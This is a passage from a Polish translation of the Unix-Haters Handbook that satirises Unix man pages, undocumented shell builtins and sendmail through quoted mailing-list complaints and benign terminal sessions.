Unixowego systemu manuali. Dzisiejsze systemy hipertekstowe pozwalają na skakanie od artykułu do artykułu w dużej bazie danych za naciśnięciem klawisza myszki; manuale, dla kontrastu, zawierają sekcję nazwaną „SEE ALSO” na końcu każdego manualu i zachęcają użytkownika do wpisania „man cośtam innego” w linii poleceń. Jak tam z indeksowaniem dokumentacji? W dzisiejszych czasach można kupić Oxford English Dictionary na CD-ROMie w którym indeksowany jest każdy wyraz w całym wielotomowym zestawie; manuale z drugiej strony są zindeksowane wyłącznie poprzez nazwę programu i jednoliniowy opis. Dzisiaj nawet DOS ma indeksowany, hipertekstowy system dokumentacji online. Manuale tymczasem są ciągle sformatowane dla 80-kolumnowej, 66-liniowej strony terminalu DEC.

Uczciwie mówiąc, niektórzy sprzedawcy poczuli się zobowiązani do napisania własnych hipertekstowych systemów dokumentacji. W tych systemach man stał się ślepym zaułkiem ewolucji, często ze zdezaktualizowanymi lub brakującymi manualami.

„Wiem, że to jest gdzieś... tutaj.”

Dla osób usiłujących obecnie używać man, jednym z największych problemów stało się stwierdzenie, gdzie właściwie w systemie znajdują się manuale. Dawno, dawno temu znalezienie dokumentacji było proste: cała była w /usr/man. Potem manuale podzielono na katalogi: /usr/man/man1, /usr/man/man2, /usr/man/man3 i tak dalej. Wiele stron wrzucono do /usr/man/manl jako „lokalne” manuale.

Sprawy trochę się skomplikowały kiedy AT&T przerobił System V. Katalog /usr/man/manl stał się /usr/man/c_man, tak jakby jedna litera była łatwiejsza do zapamiętania niż jedna cyfra. Na niektórych systemach /usr/man/manl został przeniesiony do /usr/local/man. Firmy sprzedające własne aplikacje Unixowe zaczęły tworzyć własne „man” katalogi. Ostatecznie Berkeley zmodyfikowało man tak, że program szuka manuali w zestawie katalogów określonych przez zmienną środowiskową zwaną MANPATH. To świetny pomysł z jednym małym problemem: to nie działa.

Date: Wed, 9 Dec 92 13:17:01 -0500From: Rainbow Without Eyes <[email protected]>To: UNIX-HATERSSubject: Man page, man page, who's got the man page?

Ci z was, którzy chcą się przyznać do pewnej znajomości Unixa, wiedzą że część manuali znajduje się w /usr/man i że jest to zwykle dobre miejsce na rozpoczęcie szukania dokumentacji danej funkcji. Więc próbując poszukać manualu lockf(3), aby przekonać się, jak nie-przenośny lockf jest, napisałem na SGI Indigo wczoraj:

michael: man lockf

Nic się nie pokazało, więc zaglądnąłem do /usr/man. Zrobiłem to pomimo faktu, że wiem że manual może być wszędzie i pomimo tego, że moja MANPATH zawierała /usr/man (i każdy inny katalog w którym znalazłem użyteczne manuale w systemie). Spodziewałem się zobaczyć coś takiego:

michael: cd /usr/manmichael: lsman1 man2 man3 man4 man5 man6 man7

38

Page 39: Unix Haters Handbook

man8 manl

Zamiast tego dostałem:michael: cd /usr/manmichael: lslocalp_manu_man

(%*&@#+! SysV-ism) Poza różnicą w formacie ls między SysV a BSD, pomyślałem, że to trochę dziwne. Rozglądałem się jednak dalej za czymś podobnym do cat3 albo man3:

michael: cd localmichael: lskermit.1cmichael: cd ../p_manmichael: lsman3michael: cd ../u_manman1man4michael: cd ../p_man/man3michael: lsXm

Teraz jest coś niedobrze, bo znajduje tylko podkatalog X-ów w man3. Co dalej? Metoda brutalnej siły:

michael: cd /michael: find / -name lockf.3 -printmichael:

Momencik. Nie ma manualu lockf.3 w systemie? Czas ominąć problem: wysłać maila do regularnego użytkownika maszyny. Odpowiedział, że nie wie gdzie jest ten manual, ale ma go kiedy wpisze „man lockf”. Elementy jego MANPATH nie były użyteczne, bo stanowiły podzbiór mojej MANPATH.

Spróbowałem więc czegoś innego zamiast metody brutalnej siły:

michael: strings `which man` | grep "/" | more/usr/catman:/usr/manmichael:

Aha! /usr/catman! Katalog którego nie mam w MANPATH! Teraz tam wejść i sprawdzić, czy jest tam lockf.

michael: cd /usr/catmanmichael: lsa_mang_manlocalp_manu_manwhatis

Standardowy format System V jest do niczego. Co do diabła się dzieje?

michael: ls -d */cat3

39

Page 40: Unix Haters Handbook

g_man/cat3p_man/cat3michael: cd g_man/cat3michael: lsstandardmichael: cd standardmichael: ls

Bingo! Pliki przewijają się po ekranie, zgodnie z szalonym SysV-izmem /bin/ls. Lepiej spróbować użyć ls dla kilku plików.

michael: ls lock*No match.michael: cd ../../../p_man/cat3michael: ls

Zobaczyłem katalog nazwany „standard” na górze mojego xterma, w którym pliki znów przewinęły się za ekran...

michael: ls lock*No match.michael: cd standardmichael: ls lock*lockf.z

O w mordę. Plik jest [compress(1)ed]. Dlaczego jest spakowany, a nie zapisany jako zwykły tekst? Czy SGI myśli że miejsce jakie zaoszczędzą na pakowaniu manuali wystarczy dla olbrzymich RISC-owych binarek jakie leżą dookoła? W każdym razie, przeczytam go skoro już tu jestem.

michael: zcat lockflockf.Z: No such file or directorymichael: zcat lockf.zlockf.z.Z: No such file or directory

Hmm. Znów zapomniałem jak nieelastyczny zcat jest.

michael: cp lockf.z ~/lockf.Z; cd ; zcat lockf | morelockf.Z: not in compressed format

Nie jest [compress(1)ed]? Grrr. Mogli przynajmniej zrobić to tak, żeby było łatwe do przeczytania dla ludzi. Więc wyedytowałem mój .cshrc aby dodać /usr/catman do mojej i tak wielkiej MANPATH i spróbować znowu:

michael: source .cshrcmichael: man lockf

I pewnie jest tam, tak samo nie-przenośny jak reszta Unixa.

No manual entry for „Dobrze przemyślany”

Unixowe podejście do problemu dokumentacji świetnie działa jeśli chcesz udokumentować kilkaset komend które i tak w większości znasz na pamięć. Problem zaczyna się w momencie kiedy liczba wpisów w systemie dochodzi do tysiąca; dodawane są nowe wpisy pisane przez setki autorów z całego kontynentu i spuchnięty mózg trzęsie się w skurczach i dziwnych konwulsjach.

40

Page 41: Unix Haters Handbook

Date: Thu, 20 Dec 90 3:20:13 ESTFrom: Rob Austein <[email protected]>To: UNIX-HATERSSubject: Don’t call your program “local” if you intend to document it

Wygląda na to, że nie ma sposobu na otrzymanie manualu dla programu nazwanego „local”. Jeśli próbujesz i nawet podasz sekcję manualu, otrzymasz następującą wiadomość:

sra@mintaka> man 8 localBut what do you want from section local?

Dokumentacja shella

Unixowe shelle zawsze stanowiły problem dla piszących dokumentację: shelle mają wbudowane komendy. Czy powinny one być opisywane we własnych manualach czy w manualu shella? Tradycyjnie te programy opisuje się w manualu shella. To podejście jest spójne logicznie, jako że nie ma oddzielnych komend while, if albo set. Niestety, takie podejście jest problematyczne dla nowych użytkowników – osób, dla których dokumentacja powinna być pisana.

Dla przykładu, użytkownik mógł słyszeć że Unix ma funkcję „historii” oszczędzającą ponownego wpisywania raz wpisanych komend. Aby dowiedzieć się więcej o tej funkcji nowicjusz z aspiracjami może próbować:

% man historyNo manual entry for history.

Dzieje się tak dlatego, że funkcja „history” jest wbudowana w shell. Takich komend jest wiele. Spróbuj znaleźć kompletną listę. (Zaglądanie do manuala sh lub csh nie jest oszukiwaniem).

Oczywiście może i lepiej, że komendy wbudowane każdego shella są opisywane w manualu shella a nie na własnych stronach. Różne shelle mają komendy o tych samych nazwach, ale różnych funkcjach. Wyobraź sobie próbę napisania manualu dla komendy set. Taki manual prawdopodobnie zawierałby tylko jedną linijkę: „Ale o którą komendę set chodzi?”

Date: Thu, 24 Sep 92 16:25:49 -0400From: Systems Anarchist <[email protected]>To: UNIX-HATERSSubject: consistency is too much of a drag for Unix weenies

Ostatnio musiałem pomóc sfrustrowanemu nowicjuszowi Unixowemu z następującymi problemami:

W shellu Bourne’a („standardowym” shellu Unixa), komenda set ustawia przełączniki opcji. W c-shellu (innym „standardowym” shellu Unixa), komenda set ustawia zmienne shella. Jeśli wykonasz „man set”, dostaniesz jedną lub drugą definicję komendy (zaleznie od tego, kto był sprzedawcą danego systemu Unixowego) ale zwykle nie obie, a czasami żadnej, a już na pewno żadnego rozwiązania problemu istnienia drugiej, konfliktowej definicji.

Pomyłkowe użycie składni polecenia „set” przeznaczonej dla jednego shella w drugim powoduje ciche niepowodzenie, bez żadnego błędu ani ostrzeżenia. Na dodatek wpisanie „set” w shellu Bourne’a wypisuje zmienne shella!

41

Page 42: Unix Haters Handbook

Craig

Nieudokumentowane wbudowane komendy shella są tajemnicą nie tylko dla nowicjuszy. Kiedy David Chapman, wiodący autorytet na polu sztucznej inteligencji, narzekał na liście UNIX-HATERS że ma problem z użyciem Unixowej komendy fg ponieważ nie pamięta „numerów zadań” używanych przez c-shell, Robert Seastrom wysłał tą pomocną wiadomość do Davida oraz kopię na listę:

Date: Mon, 7 May 90 18:44:06 ESTFrom: Robert E. Seastrom <[email protected]>To: [email protected]: UNIX-HATERS

Czemu nie napiszesz „fg %emacs” albo po prostu „%emacs”? Słuchaj, David, jest tak wiele głupoty w Unixie, że nie musisz wynajdować wymyślonych problemów żeby mieć na co narzekać! <grr>

David nie wiedział że może po prostu napisać „%emacs” aby przywrócić zawieszony proces Emacsa. Nigdy nie widział tego gdziekolwiek udokumentowanego.

David Chapman nie był jedyny; większość ludzi na liście UNIX-HATERS wysłało e-maila mówiącego że nie wiedzieli o tej świetnej funkcji kontroli zadań w c-shellu. (Większość osób czytających wczesne szkice tej książki też nie wiedziało!) Chris Garrigues był bardziej zły niż większość:

From: Chris Garrigues <[email protected]>To: Robert E. Seastrom <[email protected]>Cc: UNIX-HATERSSubject: Re: today’s gripe: fg %3

Czy jest to gdzieś opisane czy muszę kupić kod źródłowy i nauczyć się czytać C?

„man fg” daje mi manual CSH_BUILTINS i nigdy nie znalazłem tam niczego użytecznego. Jeśli przeszukuję ten manual pod kątem „job” nigdzie nie dowiem się o tym. Mogę się co najwyżej dowiedzieć że pisząc „% job &” mogę wyjąć zawieszony proces z tła i z powrotem go tam umieścić. Wiem, że jest to funkcja której będę używał znacznie częściej niż odwoływanie się do zadania poprzez jego nazwę.

To jest wewnętrzna dokumentacja?

Niektóre większe narzędzia Unixowe zapewniają własną dokumentację online. Dla wielu programów, ta „dokumentacja” przyjmuje formę tajemniczej linii „usage”. Oto przykład dla awk:

% awkawk: Usage: awk [-f source | 'cmds'] [files]

Wszystko jasne, co? Bardziej skomplikowane programy mają bardziej rozbudowaną dokumentację online. Niestety nie zawsze można liczyć na dokumentację odpowiadającą uruchomionemu programowi.

42

Page 43: Unix Haters Handbook

Date: 3 Jan 89 16:26:25 EST (Tuesday)From: Reverend Heiny <[email protected]>To: UNIX-HATERSSubject: A conspiracy uncovered

Po wielu godzinach poświęconych na badania, doszedłem do bardzo istotnego wniosku.

Unix jest do dupy.Dla niektórych z was może to być niespodzianką, ale to prawda. Te badania

zostały potwierdzone przez wielu niezależnych badaczy na świecie.Co ważniejsze, nie jest to byle jakie „do dupy”. To pierwsza liga. Do dupy

przez duże D. Weźmy taki przykład:

toolsun% mail

Mail version SMI 4.0 Sat Apr 9 01:54:23 PDT 1988 Type ? for help."/usr/spool/mail/chris": 3 messages 3 new>N 1 chris Thu Dec 22 15:49 19/643 editor saved “trash1”N 2 root Tue Jan 3 10:35 19/636 editor saved “trash1”N 3 chris Tue Jan 3 14:40 19/656 editor saved “/tmp/ma8”& ?Unknown command: "?"&

Które środowisko produkcyjne, zwłaszcza wystarczająco stare aby prowadzić samochód, głosować i pić piwo, odrzuca komendy które ma wykonać?

Dlaczego instrukcja obsługi nie ma nic wspólnego z rzeczywistością?Dlaczego komendy mają tajemnicze nazwy nie mające związku z ich funkcją?

Wiemy, na czym polegał problem Heinego; jak kilka innych wspomnianych w niniejszym rozdziale wygląda że został naprawiony. A może tylko przeniósł się do innego programu?

Date: Tuesday, September 29, 1992 7:47PMFrom: Mark Lottor <[email protected]>To: UNIX-HATERSSubject: no comments needed

fs2# add_clientusage: add_client [options] clientsadd_client -i|-p [options] [clients]-i interactive mode - invoke full-screen mode[other options deleted for clarity]fs2# add_client -iInteractive mode uses no command line arguments

Skąd wziąć prawdziwą dokumentację

Obecnie najlepszą formą dokumentacji Unixa jest częste używanie komendy strings na kodzie programu. Używając strings można mieć kompletną listę zakodowanych w programie nazw plików, zmiennych środowiskowych, nieudokumentowanych opcji i tak dalej. Na przykład, jeśli chcemy znaleźć gdzir program cpp szuka plików #include, lepiej używać strings niż man:

43

Page 44: Unix Haters Handbook

next% man cppNo manual entry for cpp.next% strings /lib/cpp | grep //lib/cpp/lib//usr/local/lib//cppnext%

Hmm… Przepraszamy na chwilę:

% ls /libcpp* gcrt0.o libsys_s.acpp-precomp* i386/ m68k/crt0.o libsys_p.a posixcrt0.onext% strings /lib/cpp-precomp | grep //*%s*///%s/usr/local/include/NextDeveloper/Headers/NextDeveloper/Headers/ansi/NextDeveloper/Headers/bsd/LocalDeveloper/Headers/LocalDeveloper/Headers/ansi/LocalDeveloper/Headers/bsd/NextDeveloper/2.0CompatibleHeaders%s/%s/lib/%s/specsnext%

No tak. NEXTSTEP /lib/cpp nazwał sobie /lib/cpp-precomp. Ale i tak nie znajdziesz opisu w manualu:

next% man cpp-precompNo manual entry for cpp-precomp.

Dla programistów, nie użytkowników

Nie ma co winić Kena i Dennisa za żałosny stan dzisiejszej dokumentacji Unixa. Kiedy jej szkielet powstawał, powszechne w przemyśle komputerowym standardy dokumentacji nie miały zastosowania. Pułapki, błędy i potencjalne potrzaski były częściej dokumentowane niż funkcje ponieważ czytelnicy tych dokumentów byli głównie twórcami systemu. Dla wielu z nich prawdziwą funkcją Unixowego „man” było zbieranie raportów o błędach. Pogląd że dokumentacja Unixa jest dla niedoświadczonych użytkowników, programistów i administratorów jest niedawnym wynalazkiem. Niestety, niezbyt udanym ponieważ podstawowy model dokumentacji Unixa powstał w środku lat 70.

Świat Unixa uznaje ten żałosny stan rzeczy, ale nie przeprasza za niego. Life with Unix przedstawia podejście do dokumentacji następująco:

Najlepszą dokumentacją Unixa jest kod źródłowy. W końcu to jego używa system aby zdecydować, co zrobić dalej! Manuale parafrazują kody źródłowe, często są pisane w różnym czasie i przez inne osoby niż te piszące kod. Myśl o nich jako o wskazówkach. Czasem są to nawet bardziej życzenia...

44

Page 45: Unix Haters Handbook

Niemniej jednak powszechne jest znalezienie w kodzie opcji i zachowań nie udokumentowanych w manualu. Czasem odwrotnie – opcje opisane w manualu są niezaimplemenentowane i ignorowane w kodzie.

To dotyczy programów użytkownika. Wewnątrz kernela jest znacznie gorzej.Do bardzo niedawna po prostu nie było żadnej dokumentacji dostarczanej przez

sprzedawców dotyczącej pisania nowych sterowników urządzeń ani innych funkcji na poziomie kernela. Ludzie żartowali, że „ktokolwiek potrzebujący dokumentacji funkcji kernela prawdopodobnie nie powinien ich używać.”

Prawdziwa historia była daleko bardziej złowieszcza. Kernel nie był dokumentowany, ponieważ AT&T chroniła ten święty kod jako „tajemnicę handlową”. Ktokolwiek próbował napisać książkę opisującą wewnętrzne mechanizmy Unixa miał gwarantowaną sprawę sądową.

Kod źródłowy jest dokumentacją

Jak to zwykle bywa, plan AT&T nie wypalił. W nieobecności pisanej dokumentacji, jedyną drogą uzyskania szczegółów odnośnie kernela i funkcjonowania komend użytkownika było zaglądanie do kodu źródłowego. W efekcie, żródła Unixa były szeroko piratowane w ciągu pierwszych 20 lat istnienia systemu. Konsultanci, programiści i administratorzy systemu nie kopiowali kodu bo chcieli skompilować go i wypuścić nielegalny klon Unixa: robili kopie, bo potrzebowali kodu źródłowego jako dokumentacji. Kopie źródeł Unixa przeciekły z uniwersytetów do sąsiednich firm. Było to nielegalne, ale usprawiedliwione: dokumentacja zapewniona przez sprzedawców Unixa była po prostu niewystarczająca.

Nie chodzi o to, że kod źródłowy zawierał wartościowe tajemnice. Każdy kto miał dostęp do kodu źródłowego i skłonność do przeczytania go szybko natknął się na niegrzeczną niespodziankę:

/* You are not expected to understand this */

Jakkolwiek ten komentarz oryginalnie pojawił się w kodzie kernela Unixa V6, może być łatwo zastosowany do jakiegokolwiek oryginalnego kodu AT&T, który jest koszmarem wewnętrznych ręcznych optymalizacji i kombinacji. Zmienne rejestrowe o nazwach w stylu p, pp, ppp są używane dla mnóstwa różnych zastosowań w różnych częściach jednej funkcji. Komentarze w stylu „ta funkcja jest rekursywna”, jak gdyby rekurencja była trudną do zrozumienia koncepcją. Instytucjonalne podejście AT&T w kierunku dokumentacji dla programistów i użytkowników wskazuje na niechlujne podejście do pisania w ogólności, zaś do pisania programów komputerowych w szczególności.

Łatwo zauważyć pracę niechlujnej „złotej rączki”: farba na pęknięciach, łata na łacie, wszystko razem trzyma guma do żucia i taśma klejąca. Wiele czasu i prawdziwego wysiłku zabiera przeprojektowanie i zbudowanie czegoś od początku.

Date: Thu, 17 May 90 14:43:28 -0700From: David Chapman <[email protected]>To: UNIX-HATERS

Kocham to. Fragment z man man:

DIAGNOSTYKA

45

Page 46: Unix Haters Handbook

Jeżeli użyjesz opcji –M i nazwy nieistniejącego katalogu, komunikat błędu może być nieco mylący. Przypuśćmy że katalog /usr/foo nie istnieje. Jeśli napiszesz:

man -M /usr/foo ls

Otrzymasz komunikat „no manual entry for ls”. Powinieneś dostać komunikat błędu wskazujący, że katalog nie istnieje.

Napisanie tego paragrafu musiało zająć więcej czasu niż naprawienie opisywanego błędu.

Unix bez słów: propozycja kursu

Date: Fri, 24 Apr 92 12:58:28 PSTFrom: [email protected] (C J Silverio)Organization: SGI TechPubsNewsgroups: talk.bizarre1Subject: Unix Without Words

[W trakcie jednej ze szczególnie zajadłych kłótni na temat bezużyteczności dokumentacji, napisałem następującą propozycję. Nigdy jej nie wysłałem, bo jestem tchórzem... Wreszcie wysyłam ją tutaj.]

Unix bez słów

Zostałem całkowicie przekonany argumentami prezentowanymi tutaj na bezużyteczność dokumentacji. Zostałem przekonany że dokumentacja jest narkotyk, a moje uzależnienie od niej jest sztuczne. Mogę je przezwyciężyć z profesjonalną pomocą. I co więcej, poczułem się moralnie zobowiązany do przerwania rozpowszechniania tego bezużytecznego narkotyku. Zdecydowałem się z powrotem wrócić do szkoły aby się reedukować i przestać zajmować się tą pasożytniczą profesją.

Być może odsłania to głębię mojego uzależnienia od dokumentacji, ale widzę potrzebę aby SGI dostarczało jeden dokument z następną wersją. Oczywiście jest to tylko książka przejściowa – możemy ją wyeliminować w kolejnych wersjach.

Oto moja propozycja:

TYTUŁ: „Unix bez słów”.

ODBIORCY: nowicjusze Unixowi.

PRZEGLĄD: daje ogólne wskazówki używania Unixa bez dokumentacji. Prezentuje ogólne reguły użyteczne dla odszyfrowywania każdego systemu operacyjnego bez dokumentacji.

SPIS TREŚCI:

WSTĘP: - przegląd filozofii „zero dokumentacji”- dlaczego instrukcje są złe- dlaczego manuale są złe

46

Page 47: Unix Haters Handbook

- dlaczego powinieneć czytać tą książkę w przeciwieństwie do powyższych- „to ostatni manual jaki W OGÓLE czytasz!”

ROZDZ. 1: - zgadywanie jakie komendy prawdopodobnie istnieją

ROZDZ. 2: - zgadywanie jak można wywołać dane komendy- nieprzewidywalne skróty w Unixie- scenariusz użycia: „grep”

ROZDZ. 3: - zgadywanie jakie opcje komend mogą być użyte- odszyfrowywanie tajemniczych komunikatów „usage”- scenariusz użycia: „tar”- zgadywanie kiedy kolejność opcji jest ważna- scenariusz użycia: SYSV „find”

ROZDZ. 4: - ocenianie, czy zadziałało: cisza znakiem sukcesu- naprawianie błędów

ROZDZ. 5: - ustna tradycja: twój przyjaciel

ROZDZ. 6: - pozyskiwanie i utrzymywanie własnego guru Unixowego- karmienie guru- utrzymywanie guru szczęśliwym- ważność dostarczania pełnych wiadomości- dlaczego twój guru potrzebuje najszybszego sprzętu- darmowa Coca-cola: elixir życia guru- dbanie o zdrowie guru- kiedy ONI śpią?

ROZDZ. 7: - rozwiązywanie problemów: kiedy twój guru nie rozmawia z tobą- identyfikacja głupich pytań- bezpieczne zadawanie głupich pytań

ROZDZ. 8: - akceptowanie stresu- godzenie się z porażką

Alternatywnie, może tylko rozdziały 6 i 7 są naprawdę potrzebne. Tak, to jest pomysł: nazwiemy to „Instrukcja obsługi guru Unixowego”.

47

Page 48: Unix Haters Handbook

Rozdział 4: Poczta

Nie mów do mnie, nie jestem maszyną do pisania!

„Nie mieć sendmaila to tak jak nie mieć VD.”

- Ron Heibybyły moderator comp.newprod

Date: Thu, 26 Mar 92 21:40:13 -0800From: Alan Borning <[email protected]>To: UNIX-HATERSSubject: Deferred: Not a typewriter

Kiedy próbuję wysłać maila do kogoś na systemie Unixowym który aktualnie nie działa (co jest wcale nierzadkie), czasami mailer daje totalnie niezrozumiały komunikat błędu:

Mail Queue (1 request)--QID-- --Size-- -----Q-Time----- --------Sender/Recipient--------AA12729 166 Thu Mar 26 15:43 borning(Deferred: Not a typewriter)[email protected]

Co do diabła to oznacza? Oczywiście że system Unixowy nie jest maszyną do pisania! Gdyby był, częściej by działał (z minimalną stratą funkcjonalności).

Sendmail: Wietnam Unixa z Berkeley

Przed Unixem, poczta elektroniczna po prostu działała. Administratorzy różnych miejsc internetowych dogadywali się co do protokołu wysyłania i odbierania poczty i pisali programy zgodne z tymi protokołami. Lokalnie tworzyli proste i intuicyjne systemy zarządzania listami mailowymi i aliasami. Poważnie: jak trudne może być przetworzenie adresu, analizowanie aliasów, wysłanie albo dostarczenie poczty?

Całkiem trudne, jeżeli twój system operacyjny to Unix.

Date: Wed, 15 May 1991 14:08-0400From: Christopher Stacy<[email protected]>To: UNIX-HATERSSubject: harder!faster!deeper!unix

Pamiętacie kiedy rzeczy typu netmail działały? Pod Unixem ludzie naprawdę nie spodziewają się, że będą nadal działać. To znaczy wszystko powinno działać przez większość czasu i to w zupełności wystarcza, nieprawdaż? Co jest złego w małej niesolidności pocztowej? Co z tego że nie możesz odpowiedzieć na wiadomość? Co z tego, kiedy poczta jest porzucana na podłodze?

48

Page 49: Unix Haters Handbook

Pewnego dnia rozmawiałem z postmasterem serwera na którym działa sendmail. Zawsze kiedy wysyłam pocztę do ludzi na jego serwerze, nagłówki odpowiedzi wracają poprzekręcane i nie mogę odpowiedzieć na ich odpowiedzi. Wyglądało jakby problem leżał po jego stronie – czy zgadza się z tym? Oto co mi przysłał w odpowiedzi:

Date: Mon, 13 May 1991 21:28 EDTFrom: [email protected] (Stephen J. Silver)To: mit-eddie!STONYBROOK.SCRC.Symbolics.COM!CStacy@EDDIE.MIT.EDUSubject: Re: mangled headers

Nie ma wątpliwości – nasz serwer poczty to robi. Jeśli dostajesz wiadomości, wszystko jest w porządku. Jeśli nie, to skąd o tym wiesz? Jeśli je dostajesz, to o co chodzi? Nie jestem sendmailowym guru i nie znam żadnego. Poczta przeważnie działa, przez większość czasu i według mnie wszystko jest świetnie. Powodzenia.

Steven Silver

Napisanie niezawodnego systemu pocztowego zgodnego z protokołami nie jest takie trudne. Nie rozumiem dlaczego przez 20 lat nikt w świecie Unixa nie zdołał tego raz poprawnie zrobić.

Wstrząsająca historia

Date: Tue, 12 Oct 93 10:31:48 -0400From: [email protected]: UNIX-HATERSSubject: sendmail made simple

Byłem na wykładzie który miał coś wspólnego z Unixem. Szczęśliwie, udało mi się stłumić wszystko oprócz początkowego spostrzeżenia mówcy:

Jestem raczej zdziwiony, że autor sendmaila ciągle jeszcze żyje.

Jednym z argumentów za wsadzeniem Roberta Morrisa, autora „Internet Worm” do więzienia był czas, jaki administratorzy systemów stracili z powodu jego żartu. Autor sendmaila jest wolny, nie ma nawet znaku U (jak Unixowość) na czole.

Sendmail jest standardowym serwerem poczty Unixa, i wygląda na to że pozostanie nim na wiele, wiele lat. Jakkolwiek napisano inne serwery poczty (jak MMDF czy smail) żaden z nich nie zyskał jednocześnie popularności i ogólnie rozpowszechnionej niechęci sendmaila.

Sendmail został napisany przez Erica Allmana z Uniwersytetu Berkeley w 1983 i został zawarty w dystrybucji Unixa Berkeley 4.2 jako „międzysieciowy router poczty”. Program został pomyślany jako „łącznik” dla całkowicie różniących się sieci pocztowych. W swoim pierwszym wcieleniu, sendmail łączył sieci UUCP, BerkNet i ARPANET (przodek Internetu). Pomimo problemów, sendmail był lepszy niż program Unixowy który zastąpił: delivermail.

49

Page 50: Unix Haters Handbook

W swoim dokumencie USENIX ze stycznia 1983, Allman zdefiniował osiem celów sendmaila:

1. Sendmail musi być kompatybilny z istniejącymi programami pocztowymi.2. Sendmail musi być niezawodny, nie może nigdy gubić wiadomości.3. Istniejące oprogramowanie musi dostarczać wiadomości, jeśli to możliwe.4. Sendmail ma pracować w prostych i bardzo złożonych środowiskach.5. Konfiguracja sendmaila nie może być wkompilowana w program, ale musi być

odczytywana przy starcie.6. Sendmail musi pozwalać różnym grupom utrzymywać ich listy mailowe i

pozwalać użytkownikom na konfigurację przekazywania poczty, bez ingerencji przez tych użytkowników czy grupy w systemowy plik aliasów.

7. Każdy użytkownik musi mieć możliwość ustalenia programu, który ma być wykonywany dla przetwarzania nadchodzącej poczty (tak więc użytkownicy mogą uruchamiać programy „vacation”),

8. Ruch sieciowy powinien być minimalizowany przez grupowanie adresów do pojedyńczego serwera, o ile to możliwe.

(Celem Allmana, który nie został określony w dokumencie z 1983 roku była implementacja w sendmailu powstającego w ARPANECIE protokołu SMTP (Simple Mail Transport Protocol) w celu zadowolenia generałów finansujących rozwój Unixa w Berkeley.)

Sendmail został zbudowany kiedy systemy obsługi poczty w Internecie były płynne. W efekcie musiał być programowalny, aby mógł obsłużyć każdą możliwą zmianę standardów. Sięgnij do tajemnic nieczytelnego sendmail.cf i odkryjesz możliwości takiego poprzestawiania sendmaila, że “@#$@$^%<<<@#) at @$%#^!” będzie prawidłowym adresem e-mail.

To było świetne w 1985. W 1994, kiedy standardy pocztowe Internetu zostały określone, taka elastyczność nie jest dłużej potrzebna. Mimo wszystko sendmail ciągle ma cały zapas sznura gotowego do zrobienia katowskiej pętli, gdyby zaszła taka potrzeba.

Sendmail jest jednym z tych mądrych programów spełniających różne funkcje w zależności od nazwy jakiej się użyje do jego wywołania. Czasami to jest stary dobry sendmail; innym razem to jest program do przeglądania kolejki pocztowej albo program budujący bazę danych aliasów. „Sendmail Revisited” przyznaje, że pakowanie tak wielu funkcji w jeden program było prawdopodobnie pomyłką: z pewnością serwer SMTP, program obsługi kolejki pocztowej i system zarządzania bazą danych aliasów powinny być różnymi programami (niewątpliwie zgodnie z filozofią Unixowych „narzędzi”). Zamiast tego mamy sendmail, który nadal rośnie ponad wszelkie przewidywania.

Date: Sun, 6 Feb 94 14:17:32 GMTFrom: Robert Seastrom <[email protected]>To: UNIX-HATERSSubject: intelligent? friendly? no, I don’t think so...

Ku mojemu zmartwieniu ostatnio otrzymałem żądania od moich ludzi, aby zrobić nasz serwer poczty niekompatybilnym z RFC821 poprzez przepuszczanie 8-bitowej poczty. Widocznie rośnie popularność systemu kodowania ISO/LATIN1 który jest 8-bitowy (dlaczego? Ostatnio kiedy sprawdzałem, alfabet łaciński miał tylko 26 znaków) i wiadomości zakodowane w tym systemie stają się beznadziejnie zniszczone kiedy obetnie się im 8 bit. Nie uważam tego obcinania bitu za dobry pomysł, po prostu taki jest standard, a standardy zostały wymyślone z jakiegoś powodu, i ludzie z ISO

50

Page 51: Unix Haters Handbook

nie powinni mieć głów tak mocno wszczepionych w dupach. Ale czego spodziewać się po ludziach którzy wymyślili OSI?

Tak więc zdecydowałem na upgrade do najnowszej wersji Berzerkly Sendmail (8.6.5) która rzekomo robi bardzo dobrą robotę nie stosowania się do standardów w ogóle. Jest tam także dokument FAQ. Czy to nie miłe, że mamy FAQ, tak aby coraz bardziej niekompetentni Macherzy Unixowi mogli zainstalować i źle skonfigurować coraz bardziej złożone programy, a czasem nawet zdiagnozować problemy które wymagają <grr> przeczytania kodu źródłowego?!

Jedna z książek zalecana do przeczytania dla ludzi którzy chcą zostać „Prawdziwymi Czarodziejami Sendmaila” to: Costales, Allman, and Rickert, Sendmail. O’Reilly & Associates.

Widzieliście tą książkę? Ma więcej stron niż „Wojna i pokój”. Więcej stron niż instrukcja wywołań systemowych mojego systemu TOPS-10. Zatrzyma śrut wystrzelony z wiatrówki kalibru .177 z przyłożenia jeszcze zanim dojdzie do połowy książki (test .22 w następny weekend). Co gorsze, niektórzy mający maszyny chodzące w Internecie prawdopodobnie muszą zejść do takiego poziomu szczegółowości. Ale to tylko dygresja.

W sekcji „Pytania” zauważyłem:

Pyt.: Dlaczego książka Costalesa ma nietoperza na okładce?Odp.: Czy chcesz prawdziwą czy śmieszną odpowiedź? Prawdziwa jest

taka, że Brian Costales wybrał ten obrazek spośród innych, ponieważ mu się najbardziej podobał. Śmieszna jest taka, że chociaż sendmail ma reputację bycia strasznym, podobnie jak nietoperz, tak naprawdę to raczej przyjazna i inteligentna bestia.

Przyjazny i inteligentny? Akurat. Mam tony lepszych odpowiedzi na to pytanie. Przede wszystkim dlatego, że jest ewidentnie niewłaściwa. Oto kilka przykładów:

Przeciętny północnoamerykański nietoperz żywi się głównie robakami [bugs]. Sendmail jest pakietem oprogramowania złożonym w większości z błędów [bugs].

Sendmail i nietoperze są do dupy. Administratorzy sendmaila i nietoperze są stworzeniami nocnymi, wydającymi

z siebie piski niezrozumiałe dla przeciętnej osoby. Obserwowaliście kiedyś lecącego nietoperza? Obserwowaliście kiedyś proces

sendmaila z pełną kolejką niedostarczonej poczty? Sendmail i nietoperze umierają szybko trzymane w niewoli. Odchody nietoperzy są dobrym źródłem azotanu potasu, głównego składnika

rzeczy mogących wybuchnąć ci w twarz. Zupełnie jak Sendmail. Nietoperze i sendmail nie cieszą się uznaniem ludzi. Nietoperze wymagają magicznych rytuałów z użyciem krzyży i czosnku aby

zmusić je do działania według własnych potrzeb. Sendmail tak samo wymaga mistycznych inkantacji jak:

R<$+>$*$=Y$~A$* $:<$1>$2$3?$4$5 Mark user portion.R<$+>$*!$+,$*?$+ <$1>$2!$3!$4?$5 is inferior to @R<$+>$+,$*?$+ <$1>$2:$3?$4 Change src rte to % pathR<$+>:$+ <$1>,$2 Change % to @ for immed. domainR<$=X$-.UUCP>!?$+ $@<$1$2.UUCP>!$3 Return UUCP

51

Page 52: Unix Haters Handbook

